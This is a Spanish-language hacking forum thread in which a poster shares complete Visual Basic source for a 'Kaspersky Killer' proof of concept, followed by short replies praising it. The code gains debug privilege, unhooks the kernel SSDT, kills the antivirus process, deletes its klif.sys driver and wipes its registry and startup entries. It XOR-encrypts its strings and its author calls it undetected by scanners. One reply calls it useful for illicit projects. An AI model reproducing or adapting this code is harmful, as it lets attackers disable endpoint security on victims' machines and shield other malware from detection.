[POC] Kaspersky Killer

[XcryptOR]

Bueno como no he tenido tiempo para depurar el code lo dejo a su dispocisión, espero les sirva como ejemplo

[youtube=425,350]http://www.youtube.com/watch?v=dvVj7bNPqKY[/youtube]


Modulo1:

Código (vb) [Seleccionar] Expandir

'---------------------------------------------------------------------------------------
' Project     : KillKav [Kaspersky Killer]
' Date        : 19/03/2009 18:10
' Author      : XcryptOR
' Purpose     : Kill Kaspersky Antivirus, Delete Klif.sys Driver & Related Registry Entries
' Versions    : Kaspersky Antivirus 6,7,8, kaspersky 2009 y KIS 2009
' OS          : Windows XP Sp1, Sp2, Sp3. Vista(it needs some changes but works)
' Bugs        : When KLIM5.sys (Kaspersky NDIS Filter) Registry entry is delete the next reboot
'               we can't access internet because the filter was not unistalled, the function
'               Clean_TCPIP_Stack do the work, but i can't use when kill kaspersky only in the
'               Next reboot, i believe that is not a problem to fix
'               It can be improve very much it's only a POC
' Credits     : Iceboy, Syntax_err, and all the chinese Crew of vbgood
'---------------------------------------------------------------------------------------
Private Sub Main()
    EnablePrivilege SE_DEBUG_PRIVILEGE, True
    FindNtdllExport
    GetSSDT
    Fuck_KAV
    KillRegs
   
End Sub
Private Sub Fuck_KAV()
    Dim hProcess        As Long
    Dim Pid             As Long
   
    Pid = GetPIDByName(Crypt("¹®¨ö½ ½")) ' Get The PID By Name in this case AVP.exe
       
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, Pid)
    If hProcess = 0 Then
            hProcess = LzOpenProcess(PROCESS_ALL_ACCESS, Pid)
    End If
   
    Call MyTerminateProcess(hProcess, 0)
   
    ' strings are XOR crypted, to avoid some heuristics, the source is FUD: scan on NVT and virustotal
    If DeleteDriver(Crypt(",,çç,,›,,±¶¼·¯«,,‹¡«¬½µëê,,œª±®½ª«,,"´±¾ö«¡«")) = True Then '\??\C:\Windows\System32\Drivers\Klif.sys
            MsgBox Crypt("œª±®½ªø"´±¾ö«¡«ø´±µ±¶¹¼·ø ±¬·«¹µ½¶¬½") & vbCrLf & _
                   Crypt("ùø"¹«¨½ª«³¡ø°¹ø«±¼·ø´±µ±¶¹¼·ø ±¬·«¹µ½¶¬½øy"), _
                   vbExclamation, Crypt(""¹«¨½ª«³¡ø"±´´½ªøõø›·¼½¼øš¡ø€»ª¡¨¬·ª")
    End If
End Sub


Modulo2:

Código (vb) [Seleccionar] Expandir


Public Enum SYSTEM_INFORMATION_CLASS
    SystemBasicInformation
    SystemHandleInformation
End Enum

Public Declare Function ZwQuerySystemInformation Lib "ntdll.dll" ( _
ByVal SystemInformationClass As SYSTEM_INFORMATION_CLASS, _
ByVal pSystemInformation As Long, _
ByVal SystemInformationLength As Long, _
ByRef ReturnLength As Long) As Long

Public Type SYSTEM_HANDLE_TABLE_ENTRY_INFO
    UniqueProcessId         As Integer
    CreatorBackTraceIndex   As Integer
    ObjectTypeIndex         As Byte
    HandleAttributes        As Byte
    HandleValue             As Integer
    pObject                 As Long
    GrantedAccess           As Long
End Type

Public Type SYSTEM_HANDLE_INFORMATION
    NumberOfHandles         As Long
    Handles(1 To 1)         As SYSTEM_HANDLE_TABLE_ENTRY_INFO
End Type

Public Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004
Public Const STATUS_ACCESS_DENIED = &HC0000022

Public Declare Function ZwWriteVirtualMemory Lib "ntdll.dll" ( _
ByVal ProcessHandle As Long, _
ByVal BaseAddress As Long, _
ByVal pBuffer As Long, _
ByVal NumberOfBytesToWrite As Long, _
ByRef NumberOfBytesWritten As Long) As Long

Public Declare Function ZwOpenProcess Lib "ntdll.dll" ( _
ByRef ProcessHandle As Long, _
ByVal AccessMask As Long, _
ByRef ObjectAttributes As OBJECT_ATTRIBUTES, _
ByRef ClientId As CLIENT_ID) As Long

Public Type OBJECT_ATTRIBUTES
    Length                  As Long
    RootDirectory           As Long
    ObjectName              As Long
    Attributes              As Long
    SecurityDescriptor      As Long
    SecurityQualityOfService As Long
End Type

Public Type CLIENT_ID
    UniqueProcess           As Long
    UniqueThread            As Long
End Type

Public Const PROCESS_QUERY_INFORMATION      As Long = &H400
Public Const STATUS_INVALID_CID             As Long = &HC000000B

Public Declare Function ZwClose Lib "ntdll.dll" ( _
ByVal ObjectHandle As Long) As Long

Public Const ZwGetCurrentProcess            As Long = -1
Public Const ZwGetCurrentThread             As Long = -2
Public Const ZwCurrentProcess               As Long = ZwGetCurrentProcess
Public Const ZwCurrentThread                As Long = ZwGetCurrentThread

Public Declare Function ZwCreateJobObject Lib "ntdll.dll" ( _
ByRef JobHandle As Long, _
ByVal DesiredAccess As Long, _
ByRef ObjectAttributes As OBJECT_ATTRIBUTES) As Long

Public Declare Function ZwAssignProcessToJobObject Lib "ntdll.dll" ( _
ByVal JobHandle As Long, _
ByVal ProcessHandle As Long) As Long

Public Declare Function ZwTerminateJobObject Lib "ntdll.dll" ( _
ByVal JobHandle As Long, _
ByVal ExitStatus As Long) As Long

Public Const OBJ_INHERIT = &H2
Public Const STANDARD_RIGHTS_REQUIRED       As Long = &HF0000
Public Const SYNCHRONIZE                    As Long = &H100000
Public Const JOB_OBJECT_ALL_ACCESS          As Long = STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &H1F
Public Const PROCESS_DUP_HANDLE             As Long = &H40
Public Const PROCESS_ALL_ACCESS             As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
Public Const THREAD_ALL_ACCESS              As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &H3FF)
Public Const OB_TYPE_PROCESS                As Long = &H5

Public Type PROCESS_BASIC_INFORMATION
    ExitStatus              As Long
    PebBaseAddress          As Long
    AffinityMask            As Long
    BasePriority            As Long
    UniqueProcessId         As Long
    InheritedFromUniqueProcessId As Long
End Type

Public Declare Function ZwDuplicateObject Lib "ntdll.dll" ( _
ByVal SourceProcessHandle As Long, _
ByVal SourceHandle As Long, _
ByVal TargetProcessHandle As Long, _
ByRef TargetHandle As Long, _
ByVal DesiredAccess As Long, _
ByVal HandleAttributes As Long, _
ByVal Options As Long) As Long

Public Const DUPLICATE_CLOSE_SOURCE = &H1
Public Const DUPLICATE_SAME_ACCESS = &H2
Public Const DUPLICATE_SAME_ATTRIBUTES = &H4

Public Declare Function ZwQueryInformationProcess Lib "ntdll.dll" ( _
ByVal ProcessHandle As Long, _
ByVal ProcessInformationClass As PROCESSINFOCLASS, _
ByVal ProcessInformation As Long, _
ByVal ProcessInformationLength As Long, _
ByRef ReturnLength As Long) As Long

Public Enum PROCESSINFOCLASS
        ProcessBasicInformation
End Enum

Public Const STATUS_SUCCESS                 As Long = &H0
Public Const STATUS_INVALID_PARAMETER       As Long = &HC000000D

Public Declare Function ZwTerminateProcess Lib "ntdll.dll" ( _
ByVal ProcessHandle As Long, _
ByVal ExitStatus As Long) As Long

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Public Type SECURITY_ATTRIBUTES
    nLength                 As Long
    lpSecurityDescriptor    As Long
    bInheritHandle          As Long
End Type

Public Type a_my
    name                    As String
    Pid                     As Long
    tid                     As Long
    Handle                  As Long
End Type

Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" ( _
ByVal lpModuleName As String) As Long

Public Declare Function GetProcAddress Lib "kernel32" ( _
ByVal hModule As Long, _
ByVal lpProcName As String) As Long

Public Function NT_SUCCESS(ByVal Status As Long) As Boolean
          NT_SUCCESS = (Status >= 0)
End Function

Public Sub CopyMemory(ByVal Dest As Long, ByVal Src As Long, ByVal cch As Long)
Dim Written As Long
        Call ZwWriteVirtualMemory(ZwCurrentProcess, Dest, Src, cch, Written)
End Sub

Public Function IsItemInArray(ByVal dwItem, ByRef dwArray() As Long) As Boolean
Dim Index As Long
        For Index = LBound(dwArray) To UBound(dwArray)
                If (dwItem = dwArray(Index)) Then IsItemInArray = True: Exit Function
        Next
        IsItemInArray = False
End Function

Public Sub AddItemToArray(ByVal dwItem As Long, ByRef dwArray() As Long)
On Error GoTo ErrHdl

        If (IsItemInArray(dwItem, dwArray)) Then Exit Sub
       
        ReDim Preserve dwArray(UBound(dwArray) + 1)
        dwArray(UBound(dwArray)) = dwItem
ErrHdl:
       
End Sub


Modulo3:

Código (vb) [Seleccionar] Expandir


Private Declare Function SHDeleteKey Lib "shlwapi.dll" Alias "SHDeleteKeyA" ( _
ByVal hKey As Long, _
ByVal pszSubKey As String) As Long  ' Delete a key and subkeys from registry
       
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" _
Alias "RegOpenKeyExA" ( _
ByVal hKey As Long, _
ByVal lpSubKey As String, _
ByVal ulOptions As Long, _
ByVal samDesired As Long, _
phkResult As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" ( _
ByVal hKey As Long) As Long

Private Declare Function RegDeleteValue Lib "advapi32.dll" _
Alias "RegDeleteValueA" ( _
ByVal hKey As Long, _
ByVal lpValueName As String) As Long

Private Const REG_SZ                                As Long = 1
Private Const REG_EXPAND_SZ                         As Long = 2
Private Const REG_BINARY                            As Long = 3
Private Const REG_DWORD                             As Long = 4
Private Const REG_MULTI_SZ                          As Long = 7

Private Const KEY_QUERY_VALUE                       As Long = &H1
Private Const KEY_ALL_ACCESS                        As Long = &H3F
Private Const REG_OPTION_NON_VOLATILE               As Long = 0

Private Const HKEY_CLASSES_ROOT                     As Long = &H80000000
Private Const HKEY_CURRENT_CONFIG                   As Long = &H80000005
Private Const HKEY_CURRENT_USER                     As Long = &H80000001
Private Const HKEY_DYN_DATA                         As Long = &H80000006
Private Const HKEY_LOCAL_MACHINE                    As Long = &H80000002
Private Const HKEY_PERFORMANCE_DATA                 As Long = &H80000004
Private Const HKEY_USERS                            As Long = &H80000003
Private Declare Function ZwDeleteFile Lib "ntdll.dll" ( _
ByRef ObjectAttributes As OBJECT_ATTRIBUTES) As Long

Private Declare Sub RtlInitUnicodeString Lib "ntdll.dll" ( _
ByVal DestinationString As Long, _
ByVal SourceString As Long)

Private Type UNICODE_STRING
        Length              As Integer
        MaximumLength       As Integer
        Buffer              As String
End Type

Private Type OBJECT_ATTRIBUTES
        Length                      As Long
        RootDirectory               As Long
        ObjectName                  As Long
        Attributes                  As Long
        SecurityDescriptor          As Long
        SecurityQualityOfService    As Long
End Type

Private Const OBJ_CASE_INSENSITIVE          As Long = &H40

Public Const SE_SHUTDOWN_PRIVILEGE          As Long = 19
Public Const SE_DEBUG_PRIVILEGE             As Long = 20

Private Const STATUS_NO_TOKEN               As Long = &HC000007C

Private Declare Function RtlAdjustPrivilege Lib "ntdll.dll" ( _
ByVal Privilege As Long, _
ByVal Enable As Boolean, _
ByVal Client As Boolean, _
WasEnabled As Long) As Long

Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" ( _
ByVal lFlags As Long, _
ByVal lProcessID As Long) As Long
'---
Private Declare Function Process32First Lib "kernel32" ( _
ByVal hSnapShot As Long, _
uProcess As PROCESSENTRY32) As Long
'---
Private Declare Function Process32Next Lib "kernel32" ( _
ByVal hSnapShot As Long, _
uProcess As PROCESSENTRY32) As Long
'---
Private Const TH32CS_SNAPHEAPLIST           As Long = &H1
Private Const TH32CS_SNAPPROCESS            As Long = &H2
Private Const TH32CS_SNAPTHREAD             As Long = &H4
Private Const TH32CS_SNAPMODULE             As Long = &H8
Private Const TH32CS_SNAPALL                As Long = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Private Const MAX_PATH                      As Long = 260

Private Type PROCESSENTRY32
        dwSize              As Long
        cntUsage            As Long
        th32ProcessID       As Long
        th32DefaultHeapID   As Long
        th32ModuleID        As Long
        cntThreads          As Long
        th32ParentProcessID As Long
        pcPriClassBase      As Long
        dwFlags             As Long
        szExeFile           As String * MAX_PATH
End Type

Public Declare Function WinExec Lib "kernel32" ( _
ByVal lpCmdLine As String, _
ByVal nCmdShow As Long) As Long

Public Const SW_HIDE = 0

'========================================================================================
'================================ Get ID Process By Name ================================
'========================================================================================
Public Function GetPIDByName(ByVal PName As String) As Long
    Dim hSnapShot       As Long
    Dim uProcess        As PROCESSENTRY32
    Dim t               As Long
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)
    uProcess.dwSize = Len(uProcess)
    PName = LCase(PName)
    t = Process32First(hSnapShot, uProcess)
    Do While t
        t = InStr(1, uProcess.szExeFile, Chr(0))
        If LCase(Left(uProcess.szExeFile, t - 1)) = PName Then
            GetPIDByName = uProcess.th32ProcessID
            Exit Function
        End If
        t = Process32Next(hSnapShot, uProcess)
    Loop
End Function

'========================================================================================
'==================================== Get Privileges ====================================
'========================================================================================
Public Function EnablePrivilege(ByVal Privilege As Long, Enable As Boolean) As Boolean
    Dim ntStatus        As Long
    Dim WasEnabled      As Long
    ntStatus = RtlAdjustPrivilege(Privilege, Enable, True, WasEnabled)
    If ntStatus = STATUS_NO_TOKEN Then
        ntStatus = RtlAdjustPrivilege(Privilege, Enable, False, WasEnabled)
    End If
    If ntStatus = 0 Then
        EnablePrivilege = True
    Else
        EnablePrivilege = False
    End If
End Function

'========================================================================================
'============================= Simple XOR String Encryption =============================
'========================================================================================
Public Function Crypt(txt As String) As String
    On Error Resume Next
    Dim x       As Long
    Dim PF      As String
    Dim PG      As String
   
    For x = 1 To Len(txt)
        PF = Mid(txt, x, 1)
        PG = Asc(PF)
        Crypt = Crypt & Chr(PG Xor (216 Mod 255))
    Next
End Function

'========================================================================================
'====================== Initialize Object Attributes Structure ==========================
'========================================================================================
Private Sub InicializarOA(ByRef InitializedAttributes As OBJECT_ATTRIBUTES, _
                          ByRef ObjectName As UNICODE_STRING, _
                          ByVal Attributes As Long, _
                          ByVal RootDirectory As Long, _
                          ByVal SecurityDescriptor As Long) 'inicializa las propiedades de OBJECT_ATTRIBUTES
        With InitializedAttributes
                .Length = LenB(InitializedAttributes)
                .Attributes = Attributes
                .ObjectName = VarPtr(ObjectName)
                .RootDirectory = RootDirectory
                .SecurityDescriptor = SecurityDescriptor
                .SecurityQualityOfService = 0
        End With
End Sub

'========================================================================================
'=============================== Delete KLIF.sys Driver =================================
'========================================================================================
Public Function DeleteDriver(StrDriverPath As String) As Boolean
On Error Resume Next
    Dim OA          As OBJECT_ATTRIBUTES
    Dim UStrPath    As UNICODE_STRING
    RtlInitUnicodeString ByVal VarPtr(UStrPath), StrPtr(StrDriverPath) ' Path debe estar en formato de para APIs Nativas "\??\C:\Windows\System32\Drivers\Klif.sys"
    InicializarOA OA, UStrPath, OBJ_CASE_INSENSITIVE, 0, 0
   
    If NT_SUCCESS(ZwDeleteFile(OA)) Then
        DeleteDriver = True
    End If
End Function

'===================================================================================
'================== Delete Registry Entries of all Kasper Services =================
'===================================================================================
Public Sub KillRegs()
    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•,,›­ªª½¶¬›·¶¬ª·´‹½¬,,‹½ª®±»½«,,™Žˆ")              '"SYSTEM\CurrentControlSet\Services\AVP"
    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•,,›­ªª½¶¬›·¶¬ª·´‹½¬,,‹½ª®±»½«,,³´é")              '"SYSTEM\CurrentControlSet\Services\kl1"
    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•,,›­ªª½¶¬›·¶¬ª·´‹½¬,,‹½ª®±»½«,,""'ž")             '"SYSTEM\CurrentControlSet\Services\KLIF"
    DeleteAllKeys GetHKEY(3), Crypt("‹‹Œ•,,›­ªª½¶¬›·¶¬ª·´‹½¬,,‹½ª®±»½«,,³´±µí")            '"SYSTEM\CurrentControlSet\Services\klim5"
    DeleteAllKeys GetHKEY(3), Crypt("‹·¾¬¯¹ª½,,"¹«¨½ª«³¡"¹º")                              '"Software\KasperskyLab"
    DeleteAllKeys GetHKEY(1), Crypt("›"‹'œ,,£¼¼êëèààèõìáí¹õéé¼éõºèîìõèèàèìཻ꾻í¥")       '"CLSID\{dd230880-495a-11d1-b064-008048ec2fc5}" : Remove from Context Menu
    DeleteKey Crypt("‹·¾¬¯¹ª½,,•±»ª·«·¾¬,,±¶¼·¯«,,›­ªª½¶¬Ž½ª«±·¶,,Š­¶"), Crypt("¹®¨"), 3     '"Software\Microsoft\Windows\CurrentVersion\Run", "avp"
End Sub

'===================================================================================
'========================= Eliminar el valor del Registro ==========================
'===================================================================================
Public Sub DeleteKey(sKey, nKey, RegKey)
    On Error Resume Next
    Dim RK          As Long
    Dim l           As Long
    Dim hKey        As Long
    l = RegOpenKeyEx(GetHKEY(RegKey), sKey, 0, KEY_ALL_ACCESS, hKey)
    l = RegDeleteValue(hKey, nKey)
    l = RegCloseKey(hKey)
End Sub

'===================================================================================
'===================== Delete Keys and Subkeys from Registry =======================
'===================================================================================
Private Sub DeleteAllKeys(hKey As String, key As String)
    Dim lResult As Long
    lResult = SHDeleteKey(hKey, key)
End Sub

Private Function GetHKEY(RegKey)
    On Error Resume Next
    Select Case RegKey
        Case 1
        GetHKEY = HKEY_CLASSES_ROOT
        Case 2
        GetHKEY = HKEY_CURRENT_USER
        Case 3
        GetHKEY = HKEY_LOCAL_MACHINE
    End Select
End Function

'===================================================================================
'=================== Clean TCP/IP to unistall Klim5.sys NDIS =======================
'===================================================================================
Public Sub Clean_TCPIP_Stack()
WinExec "netsh int ip reset", SW_HIDE
DoEvents
WinExec "netsh winsock reset", SW_HIDE
End Sub




Modulo4:

Modulo4:

Código (vb) [Seleccionar] Expandir

' -----------------------------------------------------------------------------------
' Module        : mSSDTUnhook
' Author        : Iceboy
' Purpose       : Unhook APIs i used this great work of Iceboy to unhook Apis from Kaspersky
' -----------------------------------------------------------------------------------
Option Explicit

Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" ( _
ByVal lpLibFileName As String) As Long

Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" ( _
ByVal pDst As Long, _
ByVal pSrc As Long, _
ByVal ByteLen As Long)

Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" ( _
ByVal lpString As Long) As Long

Private Declare Function LoadLibraryEx Lib "kernel32" Alias "LoadLibraryExA" ( _
ByVal lpLibFileName As Long, _
ByVal hFile As Long, _
ByVal dwFlags As Long) As Long

Private Declare Function FreeLibrary Lib "kernel32" ( _
ByVal hLibModule As Long) As Long

Private Declare Function GetProcAddress Lib "kernel32" ( _
ByVal hModule As Long, _
ByVal lpProcName As String) As Long

Private Declare Function ZwQuerySystemInformation Lib "ntdll.dll" ( _
ByVal SystemInformationClass As SYSTEM_INFORMATION_CLASS, _
ByVal pSystemInformation As Long, _
ByVal SystemInformationLength As Long, _
ByVal pReturnLength As Long) As Long

Private Declare Function ZwSystemDebugControl Lib "ntdll.dll" ( _
ByVal ControlCode As SYSDBG_COMMAND, _
ByVal pInputBuffer As Long, _
ByVal InputBufferLength As Long, _
ByVal pOutputBuffer As Long, _
ByVal OutputBufferLength As Long, _
ByVal pReturnLength As Long) As Long

Public Enum SYSDBG_COMMAND
    SysDbgReadVirtualMemory = 8
    SysDbgWriteVirtualMemory = 9
End Enum

Private Enum SYSTEM_INFORMATION_CLASS
    SystemModuleInformation = 11
End Enum

Private Type IMAGE_DOS_HEADER
    e_magic                 As Integer
    Unused(0 To 57)         As Byte
    e_lfanew                As Long
End Type

Private Type IMAGE_NT_HEADER
    Signature               As Long
    Unused1(0 To 15)        As Byte
    SizeOfOptionalHeader    As Integer
    Characteristics         As Integer
    Magic                   As Integer
    Unused3(0 To 25)        As Byte
    ImageBase               As Long
    Unused4(0 To 23)        As Byte
    SizeOfImage             As Long
    Unused5(0 To 31)        As Byte
    NumberOfRvaAndSizes     As Long
    ExportTableRva          As Long
    ExportTableSize         As Long
    Unused6(0 To 31)        As Byte
    RelocationTableRva      As Long
    RelocationTableSize     As Long
End Type

Private Type IMAGE_EXPORT_DIRECTORY
    Unused(0 To 11)         As Byte
    name                    As Long
    Base                    As Long
    NumberOfFunctions       As Long
    NumberOfNames           As Long
    AddressOfFunctions      As Long
    AddressOfNames          As Long
    AddressOfOrdinals       As Long
End Type

Private Type IMAGE_BASE_RELOCATION
    VirtualAddress          As Long
    SizeOfBlock             As Long
End Type

Private Type IMAGE_FIXED_ENTRY
    Offset                  As Long
    Type                    As Long
End Type

Private Type ModuleInformation
    Reserved(7)             As Byte
    Base                    As Long
    Size                    As Long
    Flags                   As Long
    Index                   As Integer
    Unknown                 As Integer
    Loadcount               As Integer
    ModuleNameOffset        As Integer
    ImageName(250)          As long
End Type

Private Type MEMORY_CHUNKS
    Address                 As Long
    pData                   As Long
    Length                  As Long
End Type

Private Const DONT_RESOLVE_DLL_REFERENCES   As Long = 1
Private Const IMAGE_REL_BASED_HIGHLOW       As Long = 3
Private Const IMAGE_FILE_RELOCS_STRIPPED    As Integer = 1

Dim FuncName(1023)                          As String
Dim Address1(1023)                          As Long
Dim Address2(1023)                          As Long
Dim ModuleName(1023)                        As String

Dim dwServices                              As Long
Dim dwKernelBase                            As Long
Dim dwKiServiceTable                        As Long

Public Sub RecoverSSDT(ByVal num As Long)
    Address2(num) = Address1(num)
End Sub

Public Sub WriteSSDT()
    Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long
    With QueryBuff
        .Address = dwKiServiceTable + dwKernelBase
        .pData = VarPtr(Address2(0))
        .Length = dwServices * 4
        ZwSystemDebugControl SysDbgWriteVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
        If ReturnLength <> .Length Then MsgBox "SSDT Cannot Write", vbCritical
    End With
End Sub

Private Function ModuleInformationFromPtr(ByVal pmi As Long) As ModuleInformation
    CopyMemory VarPtr(ModuleInformationFromPtr), pmi, 284
End Function

Private Function BaseRelocationFromPtr(ByVal pbr As Long) As IMAGE_BASE_RELOCATION
    CopyMemory VarPtr(BaseRelocationFromPtr), pbr, 8
End Function

Private Function FixedEntryFromPtr(ByVal pfe As Long) As IMAGE_FIXED_ENTRY
    Dim tmp As Integer
    CopyMemory VarPtr(tmp), pfe, 2
    FixedEntryFromPtr.Offset = tmp And 4095
    CopyMemory VarPtr(tmp), pfe + 1, 1
    FixedEntryFromPtr.Type = (tmp And 240) \ 16
End Function

Private Function DwordFromPtr(ByVal pdword As Long) As Long
    CopyMemory VarPtr(DwordFromPtr), pdword, 4
End Function

Private Function WordFromPtr(ByVal pword As Long) As Long
    CopyMemory VarPtr(WordFromPtr), pword, 2
End Function

Private Function FindKiServiceTable(ByVal hModule As Long, ByVal dwKSDT As Long) As Long
    Dim DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER
    Dim pbr As Long, pfe As Long, bFirstChunk As Boolean, I As Long, forto As Long
    Dim dwFixups As Long, dwPointerRva As Long, dwPointsToRva As Long
    CopyMemory VarPtr(DosHeader), hModule, 64
    With DosHeader
        Assert .e_magic = &H5A4D
        CopyMemory VarPtr(NtHeader), hModule + .e_lfanew, 168
    End With
    bFirstChunk = True
    Do While bFirstChunk Or CBool(BaseRelocationFromPtr(pbr).VirtualAddress)
        bFirstChunk = False
        pfe = pbr + 8
        forto = (BaseRelocationFromPtr(pbr).SizeOfBlock - 8) \ 2 - 1
        For I = 0 To forto
            If FixedEntryFromPtr(pfe).Type = IMAGE_REL_BASED_HIGHLOW Then
                dwFixups = dwFixups + 1
                dwPointerRva = BaseRelocationFromPtr(pbr).VirtualAddress + FixedEntryFromPtr(pfe).Offset
                dwPointsToRva = DwordFromPtr(hModule + dwPointerRva) - NtHeader.ImageBase
                If dwPointsToRva = dwKSDT Then
                    If WordFromPtr(hModule + dwPointerRva - 2) = &H5C7 Then
                        FindKiServiceTable = DwordFromPtr(hModule + dwPointerRva + 4) - NtHeader.ImageBase
                        Exit Function
                    End If
                End If
            End If
            pfe = pfe + 2
        Next
        pbr = pbr + BaseRelocationFromPtr(pbr).SizeOfBlock
    Loop
End Function

Private Function AddZero(ByVal Text As String, ByVal Length As Long) As String
    AddZero = String(Length - Len(Text), "0") & Text
End Function

Public Sub GetSSDT()
On Error Resume Next
    Dim I As Long, j As Long, Length As Long, Buff() As Byte, pKernelName As Long, hKernel As Long
    Dim dwKSDT As Long, pService As Long, DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER
    dwServices = 0
    ZwQuerySystemInformation SystemModuleInformation, 0, 0, VarPtr(Length)
    ReDim Buff(Length - 1)
    ZwQuerySystemInformation SystemModuleInformation, VarPtr(Buff(0)), Length, 0
    With ModuleInformationFromPtr(VarPtr(Buff(4)))
        dwKernelBase = .Base
        pKernelName = VarPtr(.ImageName(0)) + .ModuleNameOffset
    End With
    hKernel = LoadLibraryEx(pKernelName, 0, DONT_RESOLVE_DLL_REFERENCES)
    dwKSDT = GetProcAddress(hKernel, "KeServiceDescriptorTable")
    Assert dwKSDT <> 0
    dwKSDT = dwKSDT - hKernel
    dwKiServiceTable = FindKiServiceTable(hKernel, dwKSDT)
    Assert dwKiServiceTable <> 0
    CopyMemory VarPtr(DosHeader), hKernel, 64
    With DosHeader
        Assert .e_magic = &H5A4D
        CopyMemory VarPtr(NtHeader), hKernel + .e_lfanew, 168
    End With
    With NtHeader
        Assert .Signature = &H4550
        Assert .Magic = &H10B
    End With
    pService = hKernel + dwKiServiceTable
    Do While DwordFromPtr(pService) - NtHeader.ImageBase < NtHeader.SizeOfImage
        Address1(dwServices) = DwordFromPtr(pService) - NtHeader.ImageBase + dwKernelBase
        pService = pService + 4
        dwServices = dwServices + 1
    Loop
    FreeLibrary hKernel
    Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long
    With QueryBuff
        .Address = dwKernelBase + dwKiServiceTable
        .pData = VarPtr(Address2(0))
        .Length = dwServices * 4
    End With
    ZwSystemDebugControl SysDbgReadVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
    Length = DwordFromPtr(VarPtr(Buff(0)))
    For I = 0 To Length - 1
        With ModuleInformationFromPtr(VarPtr(Buff(I * 284 + 4)))
            For j = 0 To dwServices - 1
                If Address2(j) >= .Base And Address2(j) < .Base + .Size Then
                    ModuleName(j) = StringFromPtr(VarPtr(.ImageName(0)))
                End If
            Next
        End With
    Next
        For I = 0 To dwServices - 1
            If Address1(I) <> Address2(I) Then
                RecoverSSDT I
                WriteSSDT
            End If
        Next
End Sub

Private Function StringFromPtr(ByVal pString As Long) As String
    Dim Buff() As Byte, Length As Long
    Length = lstrlen(pString)
    If Length = 0 Then Exit Function
    ReDim Buff(Length - 1)
    CopyMemory VarPtr(Buff(0)), pString, Length
    StringFromPtr = StrConv(Buff, vbUnicode)
End Function

Public Sub FindNtdllExport()
    Dim DosHeader As IMAGE_DOS_HEADER, NtHeader As IMAGE_NT_HEADER, ExportDirectory As IMAGE_EXPORT_DIRECTORY
    Dim I As Long, hNtdll As Long, FuncRVA() As Long, NameRVA() As Long, Ordinal() As Integer, ThisName As String, ThisNumber As Long
    hNtdll = GetModuleHandle("ntdll.dll")
    Assert hNtdll <> 0
    CopyMemory VarPtr(DosHeader), hNtdll, 64
    With DosHeader
        Assert .e_magic = &H5A4D
        CopyMemory VarPtr(NtHeader), hNtdll + .e_lfanew, 128
    End With
    With NtHeader
        Assert .Signature = &H4550
        Assert .Magic = &H10B
        Assert .SizeOfOptionalHeader >= 104
        Assert .NumberOfRvaAndSizes >= 1
        Assert .ExportTableSize >= 40
        CopyMemory VarPtr(ExportDirectory), hNtdll + .ExportTableRva, 40
    End With
    With ExportDirectory
        Assert StringFromPtr(.name + hNtdll) = "ntdll.dll"
        ReDim FuncRVA(.NumberOfFunctions - .Base), NameRVA(.NumberOfNames - 1), Ordinal(.NumberOfNames - 1)
        CopyMemory VarPtr(FuncRVA(0)), hNtdll + .AddressOfFunctions + .Base * 4, (.NumberOfFunctions - .Base) * 4
        CopyMemory VarPtr(NameRVA(0)), hNtdll + .AddressOfNames, .NumberOfNames * 4
        CopyMemory VarPtr(Ordinal(0)), hNtdll + .AddressOfOrdinals, .NumberOfNames * 2
        For I = 0 To .NumberOfNames - 1
            ThisName = StringFromPtr(hNtdll + NameRVA(I))
        Next
    End With
End Sub

Public Function ReadMemory(ByVal Address As Long, ByVal Length As Long) As Byte()
    Dim QueryBuff As MEMORY_CHUNKS, ReturnLength As Long, Buff() As Byte
    ReDim Buff(Length - 1)
    With QueryBuff
        .Address = Address
        .pData = VarPtr(Buff(0))
        .Length = Length
    End With
    ZwSystemDebugControl SysDbgReadVirtualMemory, VarPtr(QueryBuff), 12, 0, 0, VarPtr(ReturnLength)
    If ReturnLength = Length Then ReadMemory = Buff
End Function

Public Sub Assert(ByVal bBool As Boolean)
    If Not bBool Then
        MsgBox "Assertion Failed!", vbCritical, "Error"
        End
    End If
End Sub


[Karcrack]

  Buen trabajo

Solo una duda... necesita reinicio?

[el_c0c0]

che esta muy bueno, me intereso mucho el tema del des-hookeo de las SSDT, cosa que solo se podia lograr con programas como el IceSword o similes.
ahora habria que probarlo. yo sinceramente no uso KAV porque me parece malo, pero en fin, esta bueno meter el code este para proyectos no debidos

en fin, gracias por el aporte!

saludos

[XcryptOR]

Buen trabajo

Solo una duda... necesita reinicio?

No para nada, lo probe en win XP sp3 y funciona muy bien

[seba123neo]

no tengo para probarlo, pero confio en que anda  , y por fin alguien que postea prolijo con las etiquetas de visual basic...

saludos.

[Hendrix]

Pero esto solo repara la tabla SSDT, la Shadow SSDT no la repara y el driver del KAV tiene hooks hay....

Buen código  felicidades

[Pablo Videla]

Agregado a mis marcadores 

[XcryptOR]

Pero esto solo repara la tabla SSDT, la Shadow SSDT no la repara y el driver del KAV tiene hooks hay....

Buen código  felicidades

